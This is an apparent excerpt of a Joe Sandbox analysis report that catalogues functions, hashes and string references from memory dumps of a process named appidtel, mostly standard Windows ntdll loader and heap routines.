Source File: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_appidtel.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 99485564f50c3a34068a1f18d04ec4b318acdfca80f3bf1c92aff26f8c7cdf43
Instruction ID: 29b439f406028001340c1bd64e8c61233fbdaa16644e26758fc6275abb8ed0b6
Opcode Fuzzy Hash: 99485564f50c3a34068a1f18d04ec4b318acdfca80f3bf1c92aff26f8c7cdf43
Instruction Fuzzy Hash: 8EE092B5604204BBDA14EE59DC41FDB77ACEFC8714F004019F908A7242D670BD11CBB8

Function 0042CC03 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,00000000,00000000,?,C24C1683,?,?,C24C1683), ref: 0042CC37

Memory Dump Source

Source File: 0000000A.00000002.2727369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_appidtel.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 6e12507170859c0696d3e608acc9f0316fbc330ddca1620dece7a8f1f90263dc
Instruction ID: 8f84f505285f56747dcf92bf71691f038258456dfa7d30835ecae4a138d95e77
Opcode Fuzzy Hash: 6e12507170859c0696d3e608acc9f0316fbc330ddca1620dece7a8f1f90263dc
Instruction Fuzzy Hash: 56E046326042147BC620EAAADC01F9BB76CDFC5764F40801AFA1CA7241DAB6BA0187A4

Function 03942C0A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03942C24

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: af47a604f0dce34955a1d0da783f5c77d88e4cb32ebe03634697f8ce266b7dc7
Instruction ID: 80d9c50adb877a719f49879b8d8baeb646646b043a524cea873e9483fe3297ea
Opcode Fuzzy Hash: af47a604f0dce34955a1d0da783f5c77d88e4cb32ebe03634697f8ce266b7dc7
Instruction Fuzzy Hash: 39B09B719055C5C5EA11E760460CB17794877D0741F19C4A1F2430641E4779C1D1E775

Non-executed Functions

Function 03982349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON

Download Yara Rule

Strings

TracingFlags, xrefs: 03982549
FrontEndHeapDebugOptions, xrefs: 03982489
LdrpInitializeExecutionOptions, xrefs: 0398317D
DisableExceptionChainValidation, xrefs: 0398275F
Initializing the application verifier package failed with status 0x%08lx, xrefs: 03983176
UnloadEventTraceDepth, xrefs: 039824C0
ShutdownFlags, xrefs: 039824A1
UseImpersonatedDeviceMap, xrefs: 0398251C
DisableHeapLookaside, xrefs: 0398246D
RaiseExceptionOnPossibleDeadlock, xrefs: 03982579
ExecuteOptions, xrefs: 039825A0
MinimumStackCommitInBytes, xrefs: 03982BB0
CFGOptions, xrefs: 03982967
@, xrefs: 03982942
minkernel\ntdll\ldrinit.c, xrefs: 03983187
GlobalFlag, xrefs: 03982F3F, 03983059
GlobalFlag2, xrefs: 03982FC0
MaxDeadActivationContexts, xrefs: 03982D82
MaxLoaderThreads, xrefs: 039824EC
@, xrefs: 03982B74

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
API String ID: 0-2160512332
Opcode ID: 42d559c5ce04b43e4e205a89b138e5ba642e9312f7d7306bf421319a1eab2eb9
Instruction ID: 72d2e2cbb8e160d2b95b3ba2080072c5d8bdf8e2105bb162570927d5d77a2901
Opcode Fuzzy Hash: 42d559c5ce04b43e4e205a89b138e5ba642e9312f7d7306bf421319a1eab2eb9
Instruction Fuzzy Hash: 34924979608741AFE721EF24C880B6AB7E8BBC4754F084D2DFA95DB250D774E844CB92

Function 039B12ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON

Download Yara Rule

Strings

Free Heap block %p modified at %p after it was freed, xrefs: 039B171B
HEAP: , xrefs: 039B1706, 039B1756, 039B17A8, 039B1809, 039B184D, 039B1895, 039B18E6
Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 039B18A5
Heap block at %p has incorrect segment offset (%x), xrefs: 039B181A
Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 039B186B
Heap block at %p is not last block in segment (%p), xrefs: 039B17B7
HEAP[%wZ]: , xrefs: 039B16CD, 039B16F9, 039B1749, 039B179B, 039B17FC, 039B1840, 039B18D9
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 039B176D
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 039B18F8

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 0-3591852110
Opcode ID: d8e11c9a8522bef91de9b75989930d2d492e0c228d1838f6a5872377fd3b9310
Instruction ID: b7e825bbc258fee7885a4cdb57cf04c5b2392c7b7dbce844b907da973c4fd46b
Opcode Fuzzy Hash: d8e11c9a8522bef91de9b75989930d2d492e0c228d1838f6a5872377fd3b9310
Instruction Fuzzy Hash: 5712DE34600642DFD725CF68C5A5BBABBF9FF09740F188899E496CB641E778E881CB50

Function 038FD34C Relevance: 11.6, Strings: 9, Instructions: 312COMMON

Download Yara Rule

Strings

PreferredUILanguages, xrefs: 038FD4B8, 038FD4C5
@, xrefs: 038FD663
@, xrefs: 038FD3E9
MachinePreferredUILanguages, xrefs: 038FD685
Control Panel\Desktop, xrefs: 038FD45D
PreferredUILanguagesPending, xrefs: 0395A8DE
@, xrefs: 038FD49D
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 038FD3B6
Control Panel\Desktop\MuiCached, xrefs: 038FD62B

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 0-3532704233
Opcode ID: 742fd161b606331b258a6e09e2915e2b902922fd1ca18a452795fee5283cbea9
Instruction ID: bd03c9d75a843bbf914c10ee20e709d3948c6c97e7867148d7a9ddee3e578630
Opcode Fuzzy Hash: 742fd161b606331b258a6e09e2915e2b902922fd1ca18a452795fee5283cbea9
Instruction Fuzzy Hash: A0B1CD725083559FC721DFA4C480A6FBBE8BF88744F0549AEFA89DB204D734D949CB92

Function 03999179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON

Download Yara Rule

Strings

BaseNamedObjects, xrefs: 03999477, 0399947C
\Sessions, xrefs: 03999488
%s\%ld\%s, xrefs: 0399948D
\BaseNamedObjects, xrefs: 0399949E
AppContainerNamedObjects, xrefs: 0399946E, 039994D6
Global\Session\%ld%s, xrefs: 039994C5
%s\%u-%u-%u-%u, xrefs: 03999422
\AppContainerNamedObjects, xrefs: 039994AB, 039994B9

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
API String ID: 0-3063724069
Opcode ID: cffc59709302f4571d2835bce4a3f51767b1b38efe0d898345afeb304cd90169
Instruction ID: a4689000de6fa60c3891aac70188c8d0a9221cfdeecf83cbe0b39d94fa21533d
Opcode Fuzzy Hash: cffc59709302f4571d2835bce4a3f51767b1b38efe0d898345afeb304cd90169
Instruction Fuzzy Hash: D4D1E472804315AFEB21EB58C841B6FB7ECAFC8754F044A6EFA84AB250D774CD448792

Function 039B0274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON

Download Yara Rule

Strings

RtlReAllocateHeap, xrefs: 039B02BF, 039B0362
HEAP: , xrefs: 039B03A6, 039B04B5, 039B05DD, 039B0682, 039B06D9
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 039B06EA
About to reallocate block at %p to %Ix bytes, xrefs: 039B03BA
Just reallocated block at %p to %Ix bytes, xrefs: 039B05F1
HEAP[%wZ]: , xrefs: 039B0399, 039B04A8, 039B05D0, 039B0675, 039B06CC
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 039B069F
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 039B04D3

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 0-1700792311
Opcode ID: f90ac79f1272d49ef3dbb2775825dffc862bb21c47204f186a5caebec1c68012
Instruction ID: 83dab7508023e720710101acddacf091fff9c1d2822ce7feff27073e458abc2f
Opcode Fuzzy Hash: f90ac79f1272d49ef3dbb2775825dffc862bb21c47204f186a5caebec1c68012
Instruction Fuzzy Hash: 13D1B939604785DFCB12EFA8C540AEEFBF6FF4A610F088099E5869B752D7749981CB10

Function 038FD08D Relevance: 10.2, Strings: 8, Instructions: 249COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 038FD2C3
Control Panel\Desktop\LanguageConfiguration, xrefs: 038FD196
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 038FD262
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 038FD0CF
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 038FD146
@, xrefs: 038FD0FD
@, xrefs: 038FD2AF
@, xrefs: 038FD313

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
API String ID: 0-1356375266
Opcode ID: cfda8a7a3196d56979d6348279f0af7169e2f07231a5ebc07518e74383e9e881
Instruction ID: b5527f098143ee9cc30d46467630139f9eb2317ed7a6500d3b20194c1a0e0ced
Opcode Fuzzy Hash: cfda8a7a3196d56979d6348279f0af7169e2f07231a5ebc07518e74383e9e881
Instruction Fuzzy Hash: D9A158719083459FD721DF65C480BABF7E8BB88715F004A6EFA98DA240E774D948CB93

Function 038FF172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON

Download Yara Rule

Strings

(LONG)FreeEntry->Size > 1, xrefs: 0395E291
HEAP: , xrefs: 0395DF64, 0395E0A8, 0395E286, 0395E39E
(UCRBlock != NULL), xrefs: 0395DF6F
((LONG)FreeEntry->Size > 1), xrefs: 0395E0B3
(!TrailingUCR), xrefs: 0395E3A9
HEAP[%wZ]: , xrefs: 0395DF57, 0395E09B, 0395E279, 0395E391

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: c80755244ed1d700b761482be1ea0859cd1eb021cd1f60bb9c25ba9797bf1c87
Instruction ID: f2fb30d24eb8afb6b372629065523b0a7bc5bbf2708ec728ff48ecafac35737b
Opcode Fuzzy Hash: c80755244ed1d700b761482be1ea0859cd1eb021cd1f60bb9c25ba9797bf1c87
Instruction Fuzzy Hash: EA420E396083859FC715DF78C884A6ABBE9FF88204F1849ADFA95CB341D734D981CB12

Function 0391B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON

Download Yara Rule

Strings

API set, xrefs: 039683F4, 039683F9
minkernel\ntdll\ldrutil.c, xrefs: 0396840D, 039684E1
SxS, xrefs: 039683ED
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 039684D0
LdrpPreprocessDllName, xrefs: 03968403, 039684D7
DLL %wZ was redirected to %wZ by %s, xrefs: 039683FC

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: bc13c226078be6e0526351c075871e950a4ea250090dc39f2a5e1ad07180266b
Instruction ID: 8d7926a018f38eb44e80c72bfeb8721cb4f5fe4fd62d5350a696c02c2ff8e766
Opcode Fuzzy Hash: bc13c226078be6e0526351c075871e950a4ea250090dc39f2a5e1ad07180266b
Instruction Fuzzy Hash: E7C14B31A0531DABDB24DF64C890BBEF76AAF85340F1844A9E816FF280D7B4C965C391

Function 039363FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 039741FE
minkernel\ntdll\ldrinit.c, xrefs: 039740E9, 0397414B, 0397420F, 03974269
Delaying execution failed with status 0x%08lx, xrefs: 03974258
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 039740D8
Process initialization failed with status 0x%08lx, xrefs: 0397413A
_LdrpInitialize, xrefs: 039740DF, 03974141, 03974205, 0397425F

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: 35d72152ffd780cdc7460941f7e0cc899f4e7acd829c87dea7449728fe5ee170
Instruction ID: b99c93065614df02b8b7d19df1cb394b80b65d17dea2de79601608743c9ede7e
Opcode Fuzzy Hash: 35d72152ffd780cdc7460941f7e0cc899f4e7acd829c87dea7449728fe5ee170
Instruction Fuzzy Hash: 9B914875F05314AFDB24EF55D888B6EB7A8EF82B64F080568E9106F2C2DB749841CB91

Function 0393C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

Loading import redirection DLL: '%wZ', xrefs: 03978170
LdrpInitializeProcess, xrefs: 0393C6C4
LdrpInitializeImportRedirection, xrefs: 03978177, 039781EB
minkernel\ntdll\ldrinit.c, xrefs: 0393C6C3
Unable to build import redirection Table, Status = 0x%x, xrefs: 039781E5
minkernel\ntdll\ldrredirect.c, xrefs: 03978181, 039781F5

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
API String ID: 0-475462383
Opcode ID: b19c1ff19d2fc65612e63092fabb9ea89fd0db43a7302b5942cb7a00772c3bb7
Instruction ID: cf30102f3b223a7edbf5352988811e3daa3c8f4f7a05cb5468b27ac1f411b7ee
Opcode Fuzzy Hash: b19c1ff19d2fc65612e63092fabb9ea89fd0db43a7302b5942cb7a00772c3bb7
Instruction Fuzzy Hash: 3A31F5B56487059FC314FF68DC4AE1AB7A4EFC5B54F040598F890AF391EA64EC04CBA2

Function 039251EF Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

Kernel-MUI-Language-Allowed, xrefs: 0392527B
WindowsExcludedProcs, xrefs: 0392522A
Kernel-MUI-Language-Disallowed, xrefs: 03925352
Kernel-MUI-Number-Allowed, xrefs: 03925247
Kernel-MUI-Language-SKU, xrefs: 0392542B

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 6750813991708df036c5c91be10eb6bbbcd6acac966e491396fd16f8d949c332
Instruction ID: 8f737554ba5618644d857fd2ec5c76d0f8a9bc78231ad7a339a59f5a8456aae8
Opcode Fuzzy Hash: 6750813991708df036c5c91be10eb6bbbcd6acac966e491396fd16f8d949c332
Instruction Fuzzy Hash: FDF15B76D11629EFCB11DFA9C980EAEFBBDEF49650F15006AE401EB214E7749E01CB90

Function 0392D7B0 Relevance: 6.4, Strings: 5, Instructions: 151COMMON

Download Yara Rule

Strings

Process 0x%p (%wZ) exiting, xrefs: 0396F2C7
minkernel\ntdll\ldrinit.c, xrefs: 0396F2D8
$, xrefs: 0392D900
$, xrefs: 0392D86D
LdrShutdownProcess, xrefs: 0396F2CE

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 0-1975516107
Opcode ID: 145a9c66905a1240b27b51af181e52328f06712abc249257d643d76d0ec17650
Instruction ID: 47a3cbb250c2029a5e207129d114270df1886c6f294e0ab50a395d3d99bb30b7
Opcode Fuzzy Hash: 145a9c66905a1240b27b51af181e52328f06712abc249257d643d76d0ec17650
Instruction Fuzzy Hash: AD513176A04759DFCB14EFA8D4847AEBFB5FF84354F284158D8216F299C774A840CB80

Function 038F76B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 0395B023
Invalid heap signature for heap at %p, xrefs: 0395B02F
HEAP[%wZ]: , xrefs: 0395B016
, passed to %s, xrefs: 0395B040
RtlFreeHeap, xrefs: 0395B03F

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: 46a390e8ab192e8437b768f866a9de1e482b2ed0a16d90d4f2b9919473fc780a
Instruction ID: 7cb9efe975194666901a5565b9e78bfaecc9cc0e3d9857df5647568aac1eac75
Opcode Fuzzy Hash: 46a390e8ab192e8437b768f866a9de1e482b2ed0a16d90d4f2b9919473fc780a
Instruction Fuzzy Hash: AC01F037208350DED326D7ACE409F66B7D8DF42A70F2840D9F510CF651DA9858C5C361

Function 039170C0 Relevance: 6.0, Strings: 3, Instructions: 2248COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 03917C7C, 0391867F
HEAP[%wZ]: , xrefs: 03917C6D, 03918670
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 03917C96, 03918696

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 0b8031b21c2bf19e6fb31b77f3a04134d9321ead85bef2e2503987a719b1499f
Instruction ID: 9205ea8ec45a3d1bdbbf3e9039f027fffa8ce59ff8bcd1ef0685c98181e43f55
Opcode Fuzzy Hash: 0b8031b21c2bf19e6fb31b77f3a04134d9321ead85bef2e2503987a719b1499f
Instruction Fuzzy Hash: 9713DF74A0425ACFDB25CF68C4807A9FBF5FF48344F1885A9D859AB381D734A952CF90

Function 03911070 Relevance: 5.9, Strings: 4, Instructions: 940COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 03965884
!(CheckedFlags & ~HEAP_CREATE_VALID_MASK), xrefs: 0396588F
HEAP[%wZ]: , xrefs: 03965877
@, xrefs: 03965A53

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
API String ID: 0-3570731704
Opcode ID: 9d0032c5c92ff1fea31cefd7d57833b4caab58651d0084779e1c8b8d9fd5461f
Instruction ID: 000e8f6d01f9dfd222a36e003b5ed0610bddc12c8ea3a34cc02609eb96f630af
Opcode Fuzzy Hash: 9d0032c5c92ff1fea31cefd7d57833b4caab58651d0084779e1c8b8d9fd5461f
Instruction Fuzzy Hash: 7A925975A01329DFEB24DF28CC40BA9B7B9BF45350F0985EAD949AB290D7349E80CF51

Function 0390A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

6, xrefs: 0390A3F7
8, xrefs: 0390A3E7
LdrResFallbackLangList Exit, xrefs: 0390A3FF
LdrResFallbackLangList Enter, xrefs: 0390A3EF

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: d6a865d25da0239305344ed7955a1bdaf4643fda98cd6bc00835e60959a2f36f
Instruction ID: 65cbb0f1ceb41be9e2fd2aecde5b0da9073343afb1c0d06f9bf1dc7f6f37555a
Opcode Fuzzy Hash: d6a865d25da0239305344ed7955a1bdaf4643fda98cd6bc00835e60959a2f36f
Instruction Fuzzy Hash: F2C16A79608386CFC711DF68C440B6AB7F8BF84744F048D6AF8958B291E739C949CB92

Function 0393273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

SXS: %s() passed the empty activation context, xrefs: 039721DE
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 039721D9, 039722B1
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 039722B6
.Local, xrefs: 039328D8

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: b738db8f013d4c163c1fe9ee1d98a6ca25084d7097b5a43f9c6e45fa82730810
Instruction ID: 34092d8006ad326af998eb351ea5cc4e64dc53ebe8e42c7ca8e6aa9e0cb212c6
Opcode Fuzzy Hash: b738db8f013d4c163c1fe9ee1d98a6ca25084d7097b5a43f9c6e45fa82730810
Instruction Fuzzy Hash: F3A1B17590022DDFCB24CF64D884BA9B3B9BF59354F2949E9D888AB251D730DE81CF90

Function 038FF626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 0395E54E
`, xrefs: 0395E428
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 0395E563
HEAP[%wZ]: , xrefs: 0395E3FE

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 0-2586055223
Opcode ID: 1a7b9351f8465e504ad94b5830489866cd7ed8706b9e4d71022e8578075ebf53
Instruction ID: c528df9a7758d2b73dcfac2804517e954cb60d77b9969e9f3a5a2925810d93a8
Opcode Fuzzy Hash: 1a7b9351f8465e504ad94b5830489866cd7ed8706b9e4d71022e8578075ebf53
Instruction Fuzzy Hash: D86125762043849FD722DF68C844FABB7E9EF80754F0804A9FA95CB291DB34D941CB62

Function 039B11A4 Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 039B124A, 039B125D, 039B125F, 039B12C4
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 039B1261
HEAP[%wZ]: , xrefs: 039B123D, 039B12B7
This is located in the %s field of the heap header., xrefs: 039B12D6

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_38d0000_appidtel.jbxd

Similarity

API ID:
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 0-336120773
Opcode ID: 848c08616520d4e41d7260f3a11ffbdd110340d767cef4f1578ce0d620aefb0c
Instruction ID: b99f72c2e1803712afb1913c8326e9de240c3a0f1555e4c5470c353d6b6b7d63
Opcode Fuzzy Hash: 848c08616520d4e41d7260f3a11ffbdd110340d767cef4f1578ce0d620aefb0c
Instruction Fuzzy Hash: 8331E736200600EFD711EBD8C995FAAB3F9EF056A0F180595F581CB291E774EC45CB55

Function 038F9148 Relevance: 5.1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

Strings

VirtualProtect Failed 0x%p %x, xrefs: 0395BABA
VirtualQuery Failed 0x%p %x, xrefs: 0395BAF7
HEAP: , xrefs: 0395BAAD, 0395BAEA
HEAP[%wZ]: , xrefs: 0395BAA0, 0395BADD

Memory Dump Source

Source File: 0000000A.00000002.2727778625.00000000038D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 038D0000, based on PE: true

Joe Sandbox IDA Plugin

